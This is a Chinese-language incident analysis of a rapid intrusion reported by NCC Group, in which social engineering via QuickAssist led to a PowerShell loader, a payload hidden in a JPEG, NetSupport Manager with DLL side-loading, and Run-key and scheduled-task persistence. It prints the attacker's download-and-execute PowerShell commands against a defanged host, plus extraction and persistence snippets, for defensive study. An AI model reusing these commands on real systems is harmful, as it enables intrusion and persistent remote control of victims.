摘要

本報告提供了對快速入侵事件的詳細技術分析,重點探討 threat actors 在極短時間內獲得遠端存取所採用的方法。根據 NCC Group 的記錄,此事件突顯了透過社交工程利用關鍵漏洞以及後續執行複雜 PowerShell 指令的過程。我們深入研究初始存取、執行、防禦規避和持久性機制的技術細節,提供對攻擊鏈的全面理解。本分析強調了解攻擊者的策略、技術和程序(Tactics, Techniques, and Procedures, TTPs)對強化網路安全防禦的重要性。

隱寫術與無檔案攻擊:300秒入侵全解析 | 資訊安全新聞

1. 簡介

在不斷演變的網路威脅環境中,攻擊的速度和複雜性持續升級。NCC Group 詳述的近期事件回應案例清楚提醒我們,當社交工程與進階腳本能力結合時,系統可能在極短時間內被入侵 [1]。本報告旨在剖析此事件的技術面向,聚焦於 threat actor 用於獲得遠端存取並在 300 秒內建立持久性的技術機制。透過檢查具體的 PowerShell 指令及其功能,我們希望提供對攻擊向量及促成快速入侵的底層技術原理的更深入洞察。此分析對於網路安全專業人員來說至關重要,有助於發展更具韌性的防禦策略並提升事件回應能力。

2. 技術分析

2.1 透過社交工程和 QuickAssist 進行初始存取

初始入侵向量被確認為社交工程,threat actors 假冒 IT 支援人員,說服使用者透過 Windows QuickAssist 授予遠端存取。QuickAssist(quickassist.exe)是微軟設計用於遠端協助的合法工具,允許受信任的人查看或控制遠端電腦。此類合法工具被用於惡意目的,是攻擊者常用策略,以繞過傳統安全控制,因為這些工具通常被列入白名單或較少受到安全解決方案的審查。

此初始階段的成功突顯了人在網路安全中的關鍵角色。儘管後續階段技術複雜,但整個攻擊鏈的成敗取決於對最終使用者的成功操控。這強調了持續且有效的安全意識培訓需求,重點在於識別社交工程企圖並了解授予遠端存取的風險。

2.2 執行:PowerShell 指令鏈

在透過 QuickAssist 獲得遠端存取後,threat actor 迅速執行一系列 PowerShell 指令。PowerShell(T1059.001)是微軟開發的強大腳本語言和指令列 shell,廣泛用於系統管理員的任務自動化。其在 Windows 環境中的原生存在和廣泛功能使其成為合法管理和惡意攻擊的首選工具。本事件中觀察到的指令展示了從初始偵察、payload 傳遞到執行和持久性建立的清晰進展。

第一組指令涉及將後續指令複製到剪貼簿後執行。此技術看似簡單,但能有效繞過某些專注於直接指令執行的指令列記錄或檢測機制。觀察到的初始指令為:

(curl hxxps://resutato\[.\]com/2\-4.txt).Content | Set\-Clipboard.

此指令使用 curl (或其在 PowerShell 中的別名 Invoke-WebRequest )從遠端 URL 下載內容並將其傳送到 Set-Clipboard 。下載的內容(可能是另一個 PowerShell 腳本)隨後從剪貼簿取出並執行。這種多階段方法增加了一層混淆,可能使取證分析複雜化,因為它打破了初始執行與最終 payload 之間的直接連結。

第二個重要的 PowerShell 指令下載並執行高度混淆的腳本:

\[Net.VarPointManager\]::SecurityProtocol=3072;$p=New\-Object Net.WebClient;$p.Headers\[\\'User-Agent\\'\\]=\'Mozilla/5.0 (Windows; N)\\\';$k=$p.DownloadString(\'hxxps://resutato\[.\]com/b2/tap.php?tap=\'+\[Net.Dns\]::GetHostName());(&(\[ScriptBlock\]::Create($k)));

此片段將 TLS 安全協議設置為 1.2( 3072 ),創建一個新的 Net.WebClient 物件,設置自訂 User-Agent 標頭,然後從遠端伺服器下載字串。下載的字串( $k )隨後使用 (&([ScriptBlock]::Create($k))) 執行。這種動態執行下載內容是無檔案惡意軟體和進階持續性威脅(Advanced Persistent Threat, APTs)的特徵,因為它最大程度減少了磁碟上的 artifacts,使檢測更具挑戰性。

2.3 Payload 下載與提取

一旦執行,混淆的 PowerShell 腳本執行幾個關鍵動作,包括主要 payload 的下載和提取。此處使用的一個顯著技術是利用圖像檔案( nh2.jpg )隱藏包含惡意軟體的 ZIP 檔案。這是一種隱寫術(steganography),將資料隱藏在另一個檔案中,使其在表面檢查和某些安全工具看來無害。

$NuSbQ\=\'hxxps://resutato\[.\]com/b2/res/nh2.jpg\';
...
\[byte\[\]\]$rayDe\=$DqGpjMG.DownloadData($NuSbQ);

該腳本將 JPEG 檔案下載為位元組陣列,然後在下載的圖像資料中搜索特定標記( 0x31, 0x67, 0xBE, 0xE1 )。此標記作為分隔符,指示嵌入的 ZIP 檔案的起始位置。找到標記後,腳本提取相關位元組範圍,進行解密(可能是透過與圖像資料本身衍生的 key 進行 XOR 運算),並將其解壓為 ZIP 檔案。提取的檔案隨後被放置在使用者 AppData\Roaming 資料夾中的隱藏目錄(例如 C:\Users\{username}\AppData\Roaming\NetHealth\ )。

提取的主要組件被確認為 NetSupport Manager,一款合法的遠端管理工具。threat actor 利用這款合法軟體及修改過的 DLL,建立持久的遠端存取。這種技術被稱為 DLL Side-Loading(T1574.002),涉及將惡意 DLL 放置在合法應用程式會加載的位置,代替其原本的良性對應物。這允許攻擊者在受信任應用程式的環境中執行其程式碼,進一步規避檢測。

2.4 持久性機制

為了維持對被入侵系統的存取,threat actor 實施了兩種主要持久性機制:

登錄執行鍵修改(T1547.001): PowerShell 腳本在 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NetHealth 下添加一個新的登錄鍵,指向下載的 NetHealth.exe 二進位檔案。這確保每次使用者登錄系統時,惡意 payload 都會執行,提供可靠的重新控制方法。

New-ItemProperty -Path \'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\' -Name $mAKG -Value $mYSbjz -PropertyType String -Force | Out-Null;

此指令直接操作 Windows 登錄,這是一種常見的持久性技術,因其有效性和相較於其他方法(如排程任務)更隱秘,後者可能產生更顯著的日誌。

排程任務創建: 對於可能具有更高權限的系統,腳本還嘗試創建排程任務。此方法提供了更強大且靈活的持久性機制,允許在特定時間、間隔或特定條件(如網路可用性)下執行。

$xyDHlIKk\=New-Object -ComObject \'Schedule.Service\'; $xyDHlIKk.Connect();
... 
$Mneyz.RegisterTaskDefinition($mAKG,$EDGmttky,6,$env:USERNAME,$null,3);

該腳本透過 COM 物件與 Task Scheduler 服務互動,創建一個名為 NetHealth 的任務,在使用者登錄時執行 NetHealth.exe 。此方法特別有效,因為排程任務是合法的系統功能,且若未啟用特定任務創建日誌記錄和分析,其創建通常不易被察覺。

2.5 防禦規避

threat actor 採用了多種技術來規避檢測和分析:

混淆的 PowerShell 腳本(T1027): hxxps://resutato\[.\]com/b2/tap.php 下載的 PowerShell 腳本經過高度混淆。這種混淆結合了字串串聯、變數替換和 Base64 編碼。這些技術使腳本的靜態分析變得困難,需要動態執行或去混淆工具來了解其真實功能。例如,字串串聯分解可識別的關鍵字,變數替換隱藏參數的真實值,Base64 編碼隱藏敏感字串,如 URL 或指令。

# Example of obfuscation techniques
$var1 = "hxxps://resutato";
$var2 = "[.]com/b2/tap.php";
$full_url = $var1 + $var2;
# Base64 encoded string example
$encoded_command = "JABwAD0ATgBlAHcALQBPAWIAbgBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwA=";
$decoded_command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_command));

這種混淆旨在繞過基於簽章的檢測機制並使安全分析師的手動分析複雜化,為攻擊者爭取寶貴時間。

簽章二進位代理執行(T1218.011): 使用 QuickAssist.exe(微軟簽章的合法二進位檔案)執行惡意 PowerShell 指令是簽章二進位代理執行的典型範例。透過利用受信任的系統二進位檔案,攻擊者可以繞過應用程式白名單策略,將其惡意攻擊與合法系統程序混合,使安全解決方案難以區分良性和惡意行為。

3. 程式碼解釋

PowerShell 腳本是此次攻擊的核心。讓我們分解關鍵片段及其含義。

初始下載與執行鏈:

(curl hxxps://resutato\[.\]com/2\-4.txt).Content | Set\-Clipboard.

\[Net.ServicePointManager\]::SecurityProtocol=3072;$p=New\-Object Net.WebClient;$p.Headers\[\"User-Agent\"\]=\"Mozilla/5.0 (Windows; N)\";$k=$p.DownloadString(\"hxxps://resutato\[.\]com/b2/tap.php?tap=\"+ \[Net.Dns\]::GetHostName());(&(\[ScriptBlock\]::Create($k)));

第一行下載腳本並將其放入剪貼簿。這是一種不尋常的腳本傳遞方法,可能是為了避免直接檔案下載檢測。第二塊則取出並執行此內容。使用 [Net.ServicePointManager]::SecurityProtocol=3072 明確設置 TLS 1.2,確保下載的安全通訊,這是 C2 通訊中常見的做法,以避免網路層級的攔截。

Payload 解密與提取邏輯:

\[byte\[\]\]$rayDe\=$DqGpjMG.DownloadData($NuSbQ); 
...
for ($i\=0; $i \-le $rayDe.Length-4; $i++) {  if (($rayDe\[$i\] \-eq $GSHLkr\[0\]) -and ($rayDe\[$i+1\]-eq $GSHLkr\[1\]) -and ($rayDe\[$i+2\]-eq $GSHLkr\[2\]) -and ($rayDe\[$i+3\]-eq $GSHLkr\[3\])) { $iQPPZ\=$i; break; } };
...
for ($i\=0; $i \-lt $qoBSqLF.Length; $i++) { $PQnpWhMg\[$i\] = $qoBSqLF\[$i\] -bxor $ajaAIt\[$i % $ajaAIt.Length\]; };

此片段對於理解隱寫術 payload 傳遞至關重要。腳本下載圖像( $NuSbQ ,即 nh2.jpg ),然後遍歷其位元組陣列( $rayDe )以尋找特定的 4 位元組標記( $GSHLkr = 0x31, 0x67, 0xBE, 0xE1 )。此標記表示嵌入的惡意 ZIP 資料的起始位置。隨後的位元組使用從圖像初始部分衍生的 key( $ajaAIt )進行 XOR 運算( -bxor ),有效解密隱藏的 ZIP 檔案。這一複雜技術表明攻擊者有意將惡意 payload 隱藏在看似無害的資料中,使傳統基於檔案的防毒解決方案難以檢測。

持久性機制 - 排程任務:

$xyDHlIKk\=New-Object -ComObject \'Schedule.Service\';
$xyDHlIKk.Connect();
...
$EDGmttky\=$xyDHlIKk.NewTask(0);
...
$Mneyz.RegisterTaskDefinition($mAKG,$EDGmttky,6,$env:USERNAME,$null,3);

此 PowerShell 程式碼片段展示了以程式化方式創建排程任務。透過與 COM 物件 Schedule.Service 互動,腳本可以定義新任務( NewTask(0) ),設置其觸發條件(例如登錄)、動作(例如執行 NetHealth.exe )以及各種設定(如隱藏狀態和重啟間隔)。這種持久性方法非常有效,因為排程任務是合法的系統功能,除非啟用並分析特定任務創建日誌,否則通常不易被基本監控工具察覺。

4. 觀察與洞察

分析的事件揭示了幾個關鍵觀察,並提供了對現代攻擊方法的寶貴洞察:

  • 社交工程的有效性: 攻擊的初步成功完全依賴於社交工程。這再次表明,人為因素仍是安全鏈中最薄弱的環節。無論技術控制多麼強大,若使用者未接受充分培訓且保持警覺,仍然可能被繞過。
  • 濫用合法工具(Living Off The Land): QuickAssist、PowerShell 和 NetSupport Manager 的廣泛使用展示了 threat actor 遵循 'Living Off The Land'(LOTL)哲學。透過利用預裝的系統工具和合法軟體,攻擊者可顯著減少其足跡,使傳統端點檢測與回應(Endpoint Detection and Response, EDR)解決方案難以將其活動標記為惡意。這種方法利用了對原生系統功能的信任,使惡意操作與正常系統行為混合。QuickAssist 用於初始存取和 NetSupport Manager 用於遠端控制是此策略的典型範例。
  • 複雜的混淆技術: PowerShell 腳本的多層混淆,包括字串串聯、變數替換和 Base64 編碼,顯示出明確的規避靜態分析和基於簽章的檢測意圖。隱寫術 payload 傳遞(ZIP 檔案隱藏在 JPEG 圖像中)進一步體現了攻擊者將惡意意圖隱藏在看似無害檔案中的努力。這突顯了進階行為分析和動態執行環境的需求,以發現此類隱藏威脅。
  • 快速執行與持久性: 事件時間線——在 300 秒內實現遠端存取和持久性——強調了現代攻擊的展開速度。這一快速執行要求防禦者具備同樣快速的檢測與回應能力。使用登錄執行鍵和排程任務進行持久性確保了即使系統重啟或使用者登出,攻擊者也能維持存取的高可能性。
  • 適應性與備援機制: PowerShell 腳本包含備援下載方法(使用 Start-BitsTransfer bitsadmin ),若基於圖像的隱寫術失敗,顯示出精心策劃且適應性強的攻擊策略。這種備援確保即使某種方法被阻止或失敗,payload 仍可傳遞,展示了攻擊者的韌性。

5. 未來展望

此次事件觀察到的趨勢指向未來網路安全重點的幾個關鍵領域:

  • 增強行為分析: 隨著攻擊者日益依賴 LOTL 技術和複雜混淆,基於簽章的檢測將變得較無效。未來的防禦必須優先考慮進階行為分析,能夠識別合法工具使用的異常模式,即使單個動作看似無害。這包括監控 PowerShell 腳本執行、來自標準應用程式的異常網路連線以及系統設定的可疑修改。
  • 供應鏈安全與軟體完整性: 像 NetSupport Manager 這樣的合法軟體被濫用,特別是與 DLL side-loading 結合,突顯了供應鏈安全的廣泛挑戰。組織必須實施強大的流程來審查和監控所有軟體(包括第三方工具),以確保其完整性。這包括持續監控未授權修改或已安裝應用程式的意外行為。
  • 主動威脅狩獵: 鑑於入侵速度,僅依賴被動事件回應可能不足。組織需要採用主動威脅狩獵方法,積極搜索網路和端點中的入侵指標(Indicators Of Compromise, IOCs)及異常活動,而非等待警報。這需要熟練的分析師和全面的遙測資料存取。
  • 使用者教育與模擬: 社交工程仍然是高效的攻擊向量。持續且適應性的使用者教育,包括模擬釣魚和社交工程練習,至關重要。培訓應不僅專注於識別惡意電子郵件,還應認識可疑的遠端存取請求或異常的 IT 支援互動。
  • 自動化事件回應: 這些入侵的快速性質需要高度自動化的事件回應能力。能夠隔離受損端點、阻止惡意網路流量並還原未授權系統變更的自動化系統可顯著減少攻擊的影響和擴散。將威脅情報與自動化回應平台整合對於緩解快速移動的威脅至關重要。

6. 結論

NCC Group 詳述的事件作為網路威脅演變環境中的關鍵案例研究。它生動展示了社交工程、濫用合法系統工具和複雜混淆技術的結合如何導致快速且有效的系統入侵。threat actor 在 300 秒內獲得遠端存取並建立持久性的速度,突顯了組織採用多層次安全方法的迫切需要,這不僅包括強大的技術控制,還包括持續的使用者教育和主動威脅狩獵。了解此類攻擊的技術細節,特別是 PowerShell 指令鏈、payload 傳遞機制和持久性技術,對防禦者來說至關重要。透過專注於行為分析、強化供應鏈安全和實施自動化回應能力,組織可增強對類似快速入侵企圖的韌性。此事件強化了網路安全是一場需要不斷適應和警惕的持續戰鬥,以對抗日益複雜的對手。